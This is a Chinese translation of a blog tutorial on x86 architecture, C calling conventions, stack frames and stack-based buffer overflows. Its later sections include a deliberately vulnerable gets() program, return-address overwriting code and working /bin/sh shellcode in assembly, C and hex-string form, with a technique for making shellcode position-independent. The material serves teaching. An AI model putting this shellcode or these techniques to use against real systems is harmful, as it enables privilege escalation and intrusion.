C/C++ and Buffer Overflow Topics


C/C++ and Buffer Overflow Topics

原創作品,允許轉載,轉載時請務必以超鏈接形式標明文章原始出處、作者信息和本聲明。否則將追究法律責任。http://blog.csdn.net/taotaoyouarebaby/article/details/24010649

 之前翻譯的一份文檔,未逐字翻譯,只翻譯了主要知識點。複製到網頁後,格式有點亂,提供PDF下載

英文原文網址:http://www.tenouk.com/cncplusplusbufferoverflow.html

緩衝區溢出由於病毒與蠕蟲在互聯網的大規模影響而爲人熟知。C/C++程序因爲緩衝區溢出,產生了許多安全問題。

 

1.  介紹

1.1. 產生緩衝區溢出的情況:

n  使用非類型安全的語言:C/C++,無數組邊界檢查和類型安全檢查。

n  以不安全的方式操作或複製一個棧緩衝區。

eg:未正確使用strcpy(), gets(), scanf(), sprintf(), strcat()操作字符串,導致其它區域被複寫。

 

n  編譯器將緩衝區與重要的數據結構放的太近

緩衝區與函數返回地址、virtual-table,局部變量,異常handler地址,函數指針都放在棧中相鄰區域。使得可以通過緩衝區溢出,覆寫以上重要的數據結構,從而引導程序執行惡意代碼。

比如:如果將函數返回地址改爲惡意代碼地址,那麼在函數返回時就會執行相應的惡意代碼。

1.2. 緩衝區溢出的後果:

www.cert.org             Computer Emergency Response Team (CERT)

www.frsirt.com  代碼示例

www.caida.org    病毒與蠕蟲攻擊的分析

n  程序崩潰。

n  運行惡意代碼。

1.3. 緩衝區溢出的相關概念

緩衝區(Buffer):一塊內存區域,用於存儲變量。有以下兩種類型的緩衝區:

n  棧(Stack):運行時隱式分配的,用於存儲變量的一塊內存區域。結構。

n  堆(Heap):運行時顯示分配的,用於存儲變量的一塊內存區域。結構。

 

溢出類型

描述

棧溢出

向一個緩衝區寫入數據時,大於了分配給它的內存大小。很有可能複寫棧中的其它重要數據,進而破壞棧結構。通常是由於未檢查用戶輸入數據造成的。

堆溢出

與棧溢出類似。這類溢出不易被惡意利用。

數組溢出

數組下標爲負,或大於最大下標。

 

2.  X86架構基礎——32位處理器

2.1. 基本的寄存器

寄存器種類

 

8個32位的通用寄存器

6個16位的段寄存器/段選擇器

FS、GS在Itel32中引入的

1個32位的的標誌寄存器(EFLAGS)

1個32位的指令寄存器(EIP)

 

 

通用寄存器的主要作用:

Register Name

Size (in bits)

Purpose

AL, AH/AX/EAX

8,8/16/32

也叫做累加器,主要用於保存算術運算結果和函數返回值

BL, BH/BX/EBX

8,8/16/32

基址寄存器,指向DS段中的數據,用於保存程序的基址。

CL, CH/CX/ECX

8,8/16/3

計數器,通常用於循環計數和字符串操作

DL, DH/DX/EDX

8,8/16/32

通常用於I/O操作,也用於擴展EAX爲64位。

SI/ESI

16/32

源地址寄存器。指向DS段中的數據,常被用來作爲字符串和數組操作中的偏移量,保存數據源的地址。

DI/EDI

16/32

目的地址寄存器。指向ES段中的數據,常被用來作爲字符串和數組操作中的偏移量,保存目標地址。

BP/EBP

16/32

棧基址指針寄存器。保存當前棧結構底部的地址,指向SS段中的數據,通常用於引用局部變量。

SP/ESP

16/32

棧頂指針寄存器(SS)。指向當前棧結構的頂部,也用於引用局部非靜態變量。

 

2.2. 段寄存器

6個段寄存器保存了段地址的高16位(低位爲0),由此定位內存中的段。4個數據段寄存器:DS, ES, FS, GS。爲高效而安全的訪問不同類型的數據提供了支持。

 

eg:可能的4種數據段

l  當前模塊的數據

l  上層模塊輸出的數據

l  動態創建的數據

l  程序間共享的數據

 

X86段寄存器及其用處:

寄存器

目的

CS

16

代碼段寄存器。代碼段基地址(.text 段), 用於獲取指令。

這些段寄存器用於將程序分成不同的部分。當程序執行時,各段的基地址賦給了段寄存器。通過段寄存和偏移量就可以操作程序的不同內存區域。

DS

16

數據段寄存器。 數據的默認基地址(.data 段), 用於操作數據。。

ES

16

Extra段寄存器,用於字符串操作。

SS

16

棧段寄存器,棧段的基地址,配合SP, ESP, BP, EBP使用。

FS

16

通用的段寄存器

GS

16

注:

l  CS不能由程序設置。

l  SS可以能和程序設置,從而一個程序可以有多個棧。

 

2.3. 內存模型

內存模型

支持的地址

 flat 內存模型

near pointers (32 bits)

segmented內存模型

near pointers (32 bits)、far pointers (48 bits)

real-address模式內存模型

20bit bus

 

2.3.1.  Flat內存模型

線性地址空間:一個程序的代碼、數據和棧全都在該地址空間中。

2.3.2.  Segmented內存模型

程序使用的內存被分爲幾個獨立的地址空間(叫做段)代碼、數據和棧通常被分成單獨的段。段模型的地址究竟與處理器的物理地址空間之間的映射:直接映射與分頁機制(虛擬內存:段地址->虛擬內存地址->物理地址)

 

地址定位:

segment:offset

 

計算:

通常的段寄存器使用方式:

 

2.3.3.  real-address mode (實模式)內存模型

用於兼容8086程序。內存分段,每段<=64KB,最大訪存空間1M.

2.4. 標誌寄存器

標誌類型:狀態、控制、系統標誌

 

2.4.1.  狀態標誌:

Flag

Bit

Purpose

CF

0

進位標誌。算術操作中,如果最高位發生進位或借位則被設置上,否則清空。該標誌指示了無符號整型變量,在算術運算時的溢出情況。它也可用於多精度算術運算。

PF

2

Parity flag.  Set if the least-significant byte of the result contains an even number of 1 bit, cleared otherwise.

AF

4

Adjust flag.  Set if an arithmetic operation generates a carry or a borrow out of bit 3 of the result, cleared otherwise.  This flag is used in Binary-Coded-Decimal (BCD) arithmetic.

ZF

6

Zero flag.  Set if the result is zero, cleared otherwise.

SF

7

Sign flag.  Set equal to the most-significant bit of the result, which is the sign bit of a signed integer.  0 indicates a positive value, 1 indicates a negative value.

OF

11

Overflow flag.  Set if the integer result is too large a positive number or too small a negative number, excluding the sign bit, to fit in the destination operand, cleared otherwise.  This flag indicates an overflow condition for signed-integer that is two’s complement arithmetic.

 

2.5. EIP指令地址寄存器

不能通過指令顯式操作,只能利用程序流程控制指令操作,此外在調用函數時可以從函數棧中取得。

Register

size (bits)

Purpose

IP/EIP

16/32

保存下一條要執行的指令的地址。

 

2.6. 控制寄存器

32位的控制寄存器(CR0, CR1, CR2, CR3, and CR4)用於決定處理器的執行模式,以及當前所執行的任務的特性。

Control Register

Description

CR0

控制標識,用於控制處理器的執行模式與狀態

CR1

保留

CR2

包含產生缺頁的線性地址。

CR3

包含頁目錄的基址(物理地址)和兩個標識(PCD and PWT)。也叫:頁目錄基址寄存器(PDBR)。 只有頁目錄基址只有高20位被指定,低12位設定爲0。

When using the physical address extension, the CR3 register contains the base address of the page-directory-pointer table.

CR4

Contains a group of flags that enable several architectural extensions.  In protected mode, the move-to-or-from-control-registers forms of the MOV instruction allow the control registers to be read (at any privilege level) or loaded (at privilege level 0 only). This restriction means that application programs (running at privilege levels 1, 2, or 3) are prevented from loading the control registers; however, application programs can read these registers.

 

2.7. 小端與大端

CD12AB90H

Big Endian

Little Endian

高位à低地址

高位à高地址

CD12AB90H

CD12AB90H

 


 

3.  彙編語言

通用規則:

l  源:內存、寄存器、常量

l  目標:內存、非段寄存器

l  源與目標不能同時爲內存

l  源與目標必須具有同樣大小。(位?)

 

指令分類:

Instruction Category

Meaning

Example

Data Transfer

move from source to destination

mov, lea, les, push, pop, pushf, popf

Arithmetic

arithmetic on integers

add, adc, sub, sbb, mul, imul, div, idiv, cmp, neg, inc, dec, xadd,

cmpxchg

Floating point

arithmetic on floating point

fadd, fsub, fmul, div, cmp

Logical, Shift, Rotate and Bit

bitwise logic operations

and, or, xor, not, shl/sal, shr, sar, shld and  shrd,  ror, rol, rcr and rcl

Control transfer

conditional and unconditional jumps, procedure calls

jmp, jcc, call, ret, int, into, bound.

 

String

move, compare, input and output

movs, lods, stos, scas, cmps, outs, rep, repz, repe, repnz, repne, ins

I/O

輸入輸出

in, out

Conversion

彙編數據類型轉換

movzx, movsx, cbw, cwd, cwde, cdq, bswap, xlat

Miscellaneous

manipulate individual flags, provide special processor services, or handle privileged mode operations

clc, stc, cmc, cld, std, cl, sti

 

 

 

 

 

 

 

 


 

4.  編譯器、彙編器、鏈接器和加載器

處理流程:

 

4.1. 對象文件與可執行文件

對象文件格式:

Object File Format

Description

a.out

a.out格式是UNIX最初的執行文件格式。它由一部分組成:text, data, 和bss,分別表示代碼, 已初始化數據, 和未初始化數據。 不包含調試信息。

COFF

COFF (Common Object File Format) 格式由System V Release 3 (SVR3) Unix引入。 COFF 可以有多個部分,每部分以一下特定的header作爲前綴,數量受限。支持調試,但調試信息有限。

ECOFF

COFF的變種。  ECOFF 爲 Mips and Alpha 工作站設計.

XCOFF

XCOFF (eXtended COFF),COFF sections, symbols, and line numbers are used, 調試信息保存在.debug section (rather than the string table).  The default name for an XCOFF executable file is a.out.

PE

PE(Portable Executable) 是由 COFF 和其它一些頭信息構成。Windows 9x and NT使用PE做執行文件的格式。

ELF

ELF (Executable and Linking Format) 格式由 System V Release 4 (SVR4) Unix引入。  ELF與 COFF 相似,但沒有COFF的一些限制。 ELF 被用於現代UNIX系統、GNU/Linux, Solaris 和Irix。也用於一些嵌入式系統。

SOM/ESOM

SOM (System Object Module) and ESOM (Extended SOM) is HP's object file and debug format

 

 

Section可能包含的內容:

l  代碼

l  數據

l  動態鏈接信息

l  調試信息

l  符號表

l  重定位信息

l  註釋

l  字符串表

l  Note

 

 

所有可執行文件格式都包含的Section:編譯器不同可能名稱不同。

Section

Description

.text

包含程序指令,該程序的所有進程共享此部分。READ, EXECUTE權限。

.bss

BSS(Block Started by Symbol)包含未初始化的全局變量與靜態變量。 因爲BSS包含的變量沒有值,所有該部分並沒有保存變量的映像,只是在對象文件中記錄運行時該部分需要的內存大小。也就是說,.BSS並沒有佔用實際的對象文件空間

.data

包含已初始化的全局變量與靜態變量,以及。 該部分往往是可執行文件中最大的。READ/WRITE權限。

.rdata

也叫做.rodata (read-only data) section. 包含常量與字符串常量

.reloc

保存在加載時,重定位映像所需要的信息。

Symbol table

符號表:也就是變量/函數名,及其定義地址(相對於段的偏移量)。 包含定位程序符號引用與定義時,所需要的信息。

Relocation records

Relocation 是連接符號引用與定義的過程。 relocation records用於鏈接器調整section內容。

 

4.2. Relocation Records

Relocation:分配加載地址,並按加載地址調整程序與數據的過程。在鏈接器對Object文件進行鏈接時,需要將所有Object文件中的相同section進行合併,並重新分配section的地址,從而合併爲一個單獨的可執行文件。進而導致可能需要修改原section中的部分symbol地址,使其滿足新的section。

 

Relocation Records:是由編譯器與匯率器創建的一個指針列表,保存在對象文件或可執行文件中。每一個條目表示了加載器重定位時需要修改的地址。用於支持程序的重定位。

 

4.3. Linker

使源文件單獨編譯成爲可能。

4.3.1.  動態鏈接

對於C標準庫中的函數,如果每個程序都單獨複製一份,那麼會造成很大的浪費。因此,將這類鏈接延遲到運行時進行。鏈接器只是將動態鏈接所需要知道的信息放到了可執行文件中:代碼存在於哪個共享庫中使用哪個運行時鏈接器去查看和鏈接。

 

優點:

l 程序更

l 使得動態升級程序成爲可能。通過DLL

l 可以使程序有計劃的自行加載當前需要的模塊

l  與虛擬內存結合,使得進程可以共享同一份代碼,大大節省了內存。

 

4.3.2.  靜態鏈接

將程序依賴的代碼全部鏈接進來。適用於程序運行時,環境中找不到需要鏈接的標準庫版本。缺點是生成的文件很大。

eg: GCC靜態鏈接

gcc -static filename.c -o executable-filename

 

4.4. 怎樣使用共享的Object文件

4.4.1.  ELF格式詳情

簡化了共享庫實現,增強了運行時模塊的動態加載。使用Hash表進行symbol查找。

 

ELF section列表:

 //從低到高

.init - Startup

.text - String

.fini - Shutdown

.rodata - Read Only

.data - Initialized Data

.tdata - Initialized Thread Data

.tbss - Uninitialized Thread Data

.ctors - Constructors

.dtors - Destructors

.got - Global Offset Table

.bss - Uninitialized Data

 

簡化的ELF文件格式:

Linking View :Section,包含指令、數據、重定位信息、符號表、調試信息……

Execution View :Segment,合併了對象文件中相關的Sections(也許是不同類型的Section,比如:.data與bbs被合併)爲一個段。通常可執行代碼與只讀數據的section被合併爲一個text段。其中有些段是需要加載的,但有些段是不需要加載的。

操作系統利用Program Header table提供的信息加載需要的段,並且可以利用這些段來生成共享的內存資源。

 

4.4.2.  進程加載

Linux進程將ELF格式文件從文件系統中加載。如果文件系統是塊設備,則需要將代碼與數據加載到主存中;如果文件系統是由內存映射的(eg:ROM/FLASH),代碼將在原地執行。如果相同的進程被加載了多次,那麼它的代碼將被共享。程序需要先加載,之後才能運行。

 

加載器Loader的加載過程:

 

1.    內存與接入權限驗證:

操作系統讀取程序文件中的頭信息,之後驗證type,access permissions and right, 內存需求,以及是否支持程序指令。驗證文件是可執行文件,並計算內存需求。

 

2.    進程安裝

1)  分配主存

2)   將地址空間從輔存複製到主存

3)   複製.text, .data 段到主存

4)   複製程序參數(如:命令行參數)到堆棧

5)   初始化寄存器:設置ESP指向棧頂,清空其它。

6)   跳到啓動點:複製main()的參數,跳到main()函數。

 

簡化的進程內存空間:

注意Stack與Heap的位置與增長方向。

 

4.4.3.  進程運行時的數據結構

內存分配的不同區域及含義:

區域

描述

Code/text segment

text段,保存指令,對應執行文件中的text section。任何時候,一個程序的指令在內存中只有一份。

Initialized data – data segment

包含初始化爲非0值的靜態變量和全局變量,對應執行文件中的data section。同一程序的每個進程擁有單獨的data段。

Uninitialized data – bss segment

BSS 表示‘Block Started by Symbol’.  包含初始化爲0值的靜態變量和全局變量。進程私有。在ELF格式中,只有非0值變量才佔用可執行文件的空間。

Heap

動態內存區域,由malloc(), calloc(), realloc() and new – C++等進行分配,並通過指針來操作。 緊隨bss段,Heap結束位置由break指令標記,大小可以通過brk(), sbrk()進行擴展(改變break指針)。向地址增大方向增長。

Stack

棧段保存局部非靜態變量,如:局部非靜態變量,臨時信息與數據,函數參數,返回地址。當前調用函數時,對需要的信息進行壓棧,返回時彈出棧。 向地址減小方向增長(與Heap相反)。

 

當程序運行時,initializeddata, BSS and heap areas通常合併爲data段,stack段和 code/text 段是與data段分離的。

Sections vs Segments:executable program segments andtheir locations.

Executable file section

(disk file)

Address space segment

Program memory segment

.text

Text

Code

.data

Data

Initialized data

.bss

Data

BSS

-

Data

Heap

-

Stack

Stack

 

 

4.4.4.  進程

進程空間中位於stack與heap中間的區域是保留給共享代碼的。

典型的C程序進程的內存佈局(X86):

4.4.5.  運行時鏈接器與共享庫加載

 

對於共享代碼的鏈接時間:

l  加載時動態鏈接:加載到內存時進行鏈接

l  運行動態鏈接:引用時才進行鏈接

鏈接器的鏈接步驟:

共享庫:提供其依賴的其它庫信息,需要的重定位操作,查找外部符號。

1.    鏈接器開始加載共享庫依賴的其它庫(遞歸進行)

2.    爲每個庫,執行需要的重定位操作和涉及到的符號查找操作。

3.    在共享庫的.initsection註冊的初始化函數將會被調用。

 

4.4.6.  動態地址翻譯

動態定位/動態地址翻譯提供了以下錯覺:

l  每個進程都能使用使0到Max的地址空間

l  地址究竟是受保護的

l  進程可以認爲其可以使用的內存(虛擬內存)大於物理內存大小。

 

地址翻譯由內存管理單元(MMU:Memory Management Unit)與處理器協作完成。

 

 

5.  C/C++函數操作

5.1. C函數

語法:

global_variables;

 

int main(int argc, char *argv[])

{

  function_name(argument list);

  function_return_address here

}

 

return_type function_name(parameter list)

{

  local_variables;

 

  static variables;

  functions code here

  return something_or_nothing;

}

 

函數調用通過棧實現。發生函數調用時,需要的信息將被壓棧,函數返回時將內容出棧。

棧的使用,進程地址空間與物理地址空間映射:

 

 

5.2. 函數調用約定(VC++)

描述了函數調用時棧的創建與銷燬操作是如何進行的。不同的函數調用規則,方式不同。

5.2.1.  函數調用的一般過程:

還可參考:Win/Intel平臺,函數調用過程的數據入棧順序

1.       所有參數都被增寬到4字節 (onWin32, of course),並被存儲到合適的內存位置。通常的位置是,也可能是寄存器,由調用規則不同而不同。

2.       程序執行流程跳轉到被調用函數(地址)

3.       進入函數後,ESI,EDI, EBX, EBP 寄存器值被保存到棧上,該操作由編譯器自動生成的代碼執行。

4.       函數指令被執行,返回值保存在EAX中。

5.       從棧上恢復ESI,EDI, EBX, EBP的值。 該操作由編譯器自動生成的代碼執行。

6.       清除棧上保存的參數,也叫做清棧。該操作可以由調用者或被調用者執行,取決於調用規則。

 

5.2.2.  具體指定以下三種規則:

1.       函數參數壓棧順序

2.       清棧是調用者還是被調用函數的任務

3.       函數名命名規則:編譯器用來標識一個函數的名字

 

5.2.3.  VC++支持的函數調用規則:

只有__cdecl是由調用者清棧。

keyword

Stack cleanup

Parameter passing

__cdecl

caller

函數參數從右到左進行壓棧,調用者清棧。這是C/C++的默認調用方式。__cdecl調用方式產生的執行文件比__stdcall產生的要大,因爲每個函數都需要清棧代碼。但支持變長參數列表

__stdcall

callee

也叫做 __pascal。 函數參數從右到左進行壓棧,被調用者清棧,需要一個函數原型(?)。Win32 API函數的標準調用方式(WINAPI)。

__fastcall

callee

參數優先考慮通過寄存器傳遞,其次是棧,被調用者清棧。最開頭的兩個<=32bit的參數分別由ECX, EDX傳遞,其它的按右到左的順序壓棧。

 

Thiscall

callee

C++成員函數的調用方式。壓棧順序從右到左this指針由ECX傳遞。對於帶可變參數列表的的成員函數,this指針的傳遞方式不同,this指針最後入棧。被調用者清棧。

 

5.2.4.  代碼中指定函數調用規則:

// Borland and Microsoft

void __cdecl TestFunc(float a, char b, char c);  

 

// GNU GCC

void  TestFunc(float a, char b, char c)  __attribute__((cdecl)); 

 

5.2.5.  清棧的彙編表示:

/* example of __cdecl */

push arg1

push arg2

call function

add ebp, 12   ;stack cleanup

 

/* example of __stdcall */

push arg1

push arg2

call function

/* no stack cleanup, it will be done by caller */

 

 

5.3. 鏈接符號與名稱修飾

void CALLTYPE TestFunc(void)

 

Calling convention

extern "C" or .c file

.cpp, .cxx

Remarks

__cdecl

_TestFunc

?TestFunc@@ZAXXZ

參數數目並不重要,因爲調用者負責創建和銷燬棧。

__fastcall

@TestFunc@N

?TestFunc@@YIXXZ

N—參數的byte數,0表示void。

__stdcall

_TestFunc@N

?TestFunc@@YGXXZ

N—參數的byte數,0表示void。

 

示例:C語言

Function declaration/prototype

Decorated name

void __cdecl   TestFunc(void);

_TestFunc

void __cdecl   TestFunc(int x);

_TestFunc

void __cdecl   TestFunc(int x, int y);

_TestFunc

void __stdcall   TestFunc(void);

_TestFunc@0

void __stdcall   TestFunc(int x);

_TestFunc@4

void __stdcall   TestFunc(int x, int y);

_TestFunc@8

void __fastcall   TestFunc(void);

@TestFunc@0

void __ fastcall   TestFunc(int x);

@TestFunc@4

void __ fastcall   TestFunc(int x, int y);

@TestFunc@8

 

5.4. 函數調用棧

函數調用中涉及的寄存器:

Register

Description

ESP – Stack Pointer

通過PUSH, POP, CALL,RET來修改,總是指向當前棧的棧頂。

EBP – Base Pointer

也叫做: Frame Pointer.  直接通過偏移量操作參數與局部變量。

EIP – Instruction Pointer

下一條指令的地址。

 

函數調用的棧:


 

6.  Stack

6.1. 處理器的Stack Frame佈局

不同操作系統可以有所不同。由上圖可知,如果緩衝區溢出,可以覆寫其它重要的數據結構。

6.1.1.  Win/Intel平臺,函數調用過程的數據入棧順序

參考:函數調用的一般過程:

1.       在進行函數調用之前,參數被壓棧(右->左)

2.       函數返回地址(執行call指令時的EIP值),由call指令入棧。

3.       棧幀指針(EBP)入棧。保存之前的棧幀地址。

4.       如果函數包含異常處理結構(try/catch, SEH<Structured Exception Handling>),編譯器添加的異常處理上將入棧。

5.       分配局部變量、緩衝區空間

6.       最後,被調用者將EBX, ESI,EDI寄存器值被入棧。對於Linux/Intel,這一步發生在第四步之後。

 

6.2. 處理器的棧操作

指令

描述

PUSH

*--SP = src.

POP

dst = *SP++

PUSHAD

將通用寄存器值入棧。

POPAD

將通用寄存器值出棧。

PUSHFD

將EFLAGS寄存器值入棧。

POPFD

將EFLAGS寄存器值出棧。

 

6.3. 函數調用過程及棧的分析

6.3.1.  程序源碼

#include <stdio.h>

 //MyFunc(7, ‘8’);

int MyFunc(int parameter1, char parameter2)

{

int local1 = 9;

char local2 = ‘Z’;

return 0;

}

 

6.3.2.  與函數調用和棧操作相關的彙編代碼,分析

在main函數中調用MyFunc函數:

;in main

    MyFunc(7, '8');

01281B1E  push        38h         ; ‘8’入棧, 從右往左入棧

01281B20  push        7            ;  7入棧

01281B22  call        @ILT+460(_MyFunc) (12811D1h)  ;調用函數,函數返回地址(EIP:01281B27 )入棧

01281B27  add         esp,8       ; 將MyFunc函數棧清空

 

函數符號表及跳轉指令:

@ILT+460(_MyFunc):    ;函數修飾名

12811D1 jmp         MyFunc (01281490h

 

MyFunc函數:

int MyFunc(int parameter1, char parameter2)

{

01281490  push        ebp       ;保存調用者的EBP,位於MyFunc的[EBP+0]位置

01281491  mov         ebp,esp   ;ESP的值成爲MyFunc的EBP值,ESP,EBP指向相同位置。

01281493  sub         esp,0D8h  ;減去216字節,爲變量和緩衝區分配空間。ESP位於[EBP-216]的位置

01281499  push        ebx        ;push ebx        at [EBP-220]

0128149A  push        esi        ;push esi        at [EBP-224] 

0128149B  push        edi        ;push edi        at [EBP-228]

//...

    return 0;

012814B9  xor         eax,eax    ;清空EAX,返回值爲0

}

012814BB  pop         edi         ;恢復edi         from [EBP-228]

012814BC  pop         esi         ;恢復esi         from [EBP-224] 

012814BD  pop         ebx         ;恢復ebx         from [EBP-220] 

012814BE  mov         esp,ebp    ;清空局部變量與緩衝區空間,ESP, EBP指向相同位置

012814C0  pop         ebp         ;恢復調用者的EBP

012814C1  ret                      ;將返回地址(01281B27H)從棧(MyFunc的[EBP+4]位置)載入EIP中,

                                     ;執行後繼指令

 

//back to  main

01281B27  add         esp,8       ; 清空函數參數,7和’8’共8byte(參數都擴充爲了4byte)

注意:棧幀大小必須是棧寬度(stackslot)的整數倍。所以棧寬爲32bit的棧,5字節的數據實際佔用8字節內存,10字節數據實際佔用12字節內存。

6.3.3.  函數調用棧內存佈局

EBP寄存器被用來與偏移一起索引棧上的數據。

重要數據結構

棧地址

函數最左邊的參數

[EBP+8]

函數返回地址/舊EIP

[EBP+4]

舊棧幀指針/舊EBP

[EBP+0]

第一個局部變量

[EBP-4]

EBX, ESI, EDI

ESP, ESP-4, ESP-8

 

6.3.4.  定位返回地址

int main(int argc, char *argv[ ])

{

        char buffer[12];

        strcpy(buffer, argv[1]);

        return 0;

}

 

l  使用gcc2.96或更低版本的棧內存佈局

函數返回地址位置:&frist_local_var+ 4(EBP) + 4(ret)

 

l  使用gcc2.96或更高版本的棧內存佈局

函數返回地址位置:&first_local_var+ (dummy) + 4(EBP) + 4(ret),根據dummy大小調整偏移量

6.3.5.  示例:修改返回地址

void hello()

{

    printf("hello\n");

    return ;

}

 

void stackOverflow(int a,int b)

{

    int buf[2] = {1,2};

    int *p;

    p = &a - 1;      //函數返回地址

    *p = (int)hello;

    return ;

}

 

int main(void)

{

    stackOverflow(1, 2);

   

    getchar();

    return EXIT_SUCCESS;  

}

 

//

// 運行結果: hello

//

 

 

6.4. 寄存器使用

通用寄存器

l  ESP, EBP用於管理函數進出;

l  EBX, ESI, EDI必須在進入函數後入棧保存舊值;

l  ECX, EDX, EAX只有在需要時,才入棧保存舊值。

進入函數時常見的代碼片段:

push ebx

push esi

push edi

; here should be codes that uses

; the EBX, ESI and EDI

;

 

pop edi

pop esi

pop ebx

ret

 

6.4.1.  GCC與C調用規則——標準棧幀

Steps

32-bit code/platform

創建標準棧幀,爲局部變量與緩衝區分配32byte的空間。保存寄存器值。

push ebp

mov  ebp, esp

sub  esp, 0x20

push edi

push esi

...

恢復寄存器值,銷燬標準棧幀

...

pop esi

pop edi

mov esp, ebp

pop ebp

ret

棧的寬度

32 bits

棧幀槽的位置

...

[ebp + 12]

[ebp + 8]

[ebp + 4]

[ebp + 0]

[ebp 4]

...

 

6.4.2.  GCC與C調用規則——返回值

C函數返回值存放位置:

Size

32-bit code/platform

8-bit return value

AL

16-bit return value

AX

32-bit return value

EAX

64-bit return value

EDX:EAX

128-bit return value

hidden pointer

 

6.4.3.  GCC與C調用規則——保存寄存器值

被調用者需要保存的寄存器:

  EBX, EDI, ESI, EBP, DS, ES, SS

 

不需要保存的寄存器:

  EAX, ECX, EDX, FS, GS, EFLAGS, floating pointregisters

一些操作系統中,FS, GS段寄存器被用於保存線程局部存儲空間地址,如果你要修改它們,那也需要保存。

7.  基於棧的緩衝區溢出與利用

下面的測試代碼主要用於實現以下目的:覆寫棧上保存的EBP和返回地址。通過gets()這個不安全的函數實現以上數據的覆寫。

/* test buffer program */

#include <unistd.h>

 

void Test()

{

   char buff[4];

   printf("Some input: ");

   gets(buff);

   puts(buff);

}

 

int main(int argc, char *argv[ ])

{

   Test();

   return 0;

}

 

 

輸入12個A:

在實際的攻擊中,會利用有意義的地址(攻擊代碼所在地址)對返回地址進行覆寫。

 

7.1. 緩衝區溢出攻擊中的目標

l  注入攻擊代碼(命令行輸入、socket輸入,或其它高級方法)

l  改變程序正常執行路徑(通過覆寫返回地址實現),執行攻擊代碼。

 

7.2. 基於棧的緩衝區溢出利用的變異

l  利用程序自身存在的緩衝區溢出漏洞,欺騙函數將大於緩衝區的數據寫入,從而覆寫返回地址,將執行路徑導向攻擊代碼。這種方式可以通過多種途徑阻止。

l  利用程序使用的共享庫中存在的緩衝區溢出漏洞,覆寫返回地址。

緩衝區溢出攻擊時,攻擊時必須要大致的知道返回地址的所在位置。

利用不可執行棧(不能在棧上執行代碼)就可以阻上大部分這類型的攻擊。

 

7.2.1.  更高級更新的攻擊手段:覆寫其它地址

l  函數指針

l  ELF文件中的GOT指針(.got)

l  ELF文件中的DTORS塊(.dtors)

阻止手段:隨機化以下地址

l  共享庫

l  棧

l  程序堆

8.  Shellcode

8.1. 基本概念

產生shell/命令行環境代碼,緩衝區溢出時覆寫的返回地址,通常就是shellcode代碼所在的地址。而shellcode通常是提前編譯,並將其二進制代碼利用char數組保存爲全局變量。當程序由修改的返回地址轉到該全局變量所在位置時,就能執行該代碼,從而創建一個shell環境。利用得到的shell環境可以執行攻擊命令。

廣義是講,只要通過上述方式運行另一個程序的代碼都叫做shellcode。

通常目標:通過有較高權限的程序,使得創建的shell具有root權限(在Windows中就是管理員權限或更高的LocalSystem權限)。

8.1.1.  通常的緩衝區溢出攻擊涉及兩個主要方面:

l  緩衝區溢出漏洞的利用技術

l  獲得高權限的運行環境(playload),用於運行任意代碼

 

8.1.2.  使程序運行shellcode的技術:

l  基於棧的緩衝區溢出

l  基於堆的緩衝區溢出

l  整數溢出

l  格式化字符串

l  競爭條件

l  內存污染

 

8.1.3.  Shellcode元素

shellcode必須是二進制形式的代碼。不能含有’\0’, 0X0A, 0X0D, ‘\’, nop。可以使用Encoder工具消除它們。

寫的時候需要考慮:處理器,操作系統,網絡防護軟件(如:防火牆),入侵檢測系統(IDS:Intrusion DetectionSystem)

8.2. Shellcode的不同表現形式

8.2.1.  彙編

#a very simple assembly (AT&T/Linux) program for spawning a shell

.section .data

.section .text

.globl _start

 

_start:

         xor %eax, %eax

         mov $70, %al           #setreuid is syscall 70

         xor %ebx, %ebx

         xor %ecx, %ecx

         int $0x80

 

         jmp ender

 

         starter:

         popl %ebx              #get the address of the string

         xor  %eax, %eax

         mov  %al, 0x07(%ebx)   #put a NULL where the N is in the string

         movl %ebx, 0x08(%ebx)  #put the address of the string

                                #to where the AAAA is

         movl %ebx, 0x0c(%ebx)  #put 4 null bytes into where the BBBB is

         mov $11, %al           #execve is syscall 11

         lea 0x08(%ebx), %ecx   #load the address of where the AAAA was

         lea 0x0c(%ebx), %edx   #load the address of the NULLS

         int $0x80              #call the kernel

 

ender:

         call starter

         .string "/bin/shNAAAABBBB"

 

8.2.2.  C語言

#include <unistd.h>

 

int main(int argc, char*argv[ ])

{

   char *shell[2];

 

   shell[0] = "/bin/sh";

   shell[1] = NULL;

   execve(shell[0], shell, NULL);

   return 0;

}

 

8.2.3.  字符串

char shellcode[ ] = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50

                         \x53\x89\xe1\x99\xb0\x0b\xcd\x80";

 

8.3. 創建可移植的shellcode

要創建可移植的shellcode,代碼中就不能出現硬編碼的地址(比如:字符串參數地址)。

.section .data

#only use register here...

.section .text

.globl _start

 

jmp      dummy

 

_start:

         #pop register, so we know the string location

         #Here we have assembly instructions which will use the string

 

dummy:

         call     _start

 

.string "Simple String"

dummy標籤中使用call調用_start標籤,主要是爲了利用call會將其後的指令地址(EIP)作爲返回地址壓入棧中,這樣一來就可以在_start標籤中,從棧上彈出字符串地址。如下圖所示:

圖表1獲取字符串地址的技巧

利用這種方法,可以將多個.string放到call指令之後,利用相對位置就可以得到.string數據的位置。

 

9.  附錄

9.1. 中英名詞對照

stack frame/frame:棧幀,棧中一個函數佔據的空間。

section:塊

function decorated name:函數修飾名,編譯器用來標識一個函數的名稱,也就是函數ID(唯一性)。

non-executable stack:不可執行棧,棧上不能執行代碼。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章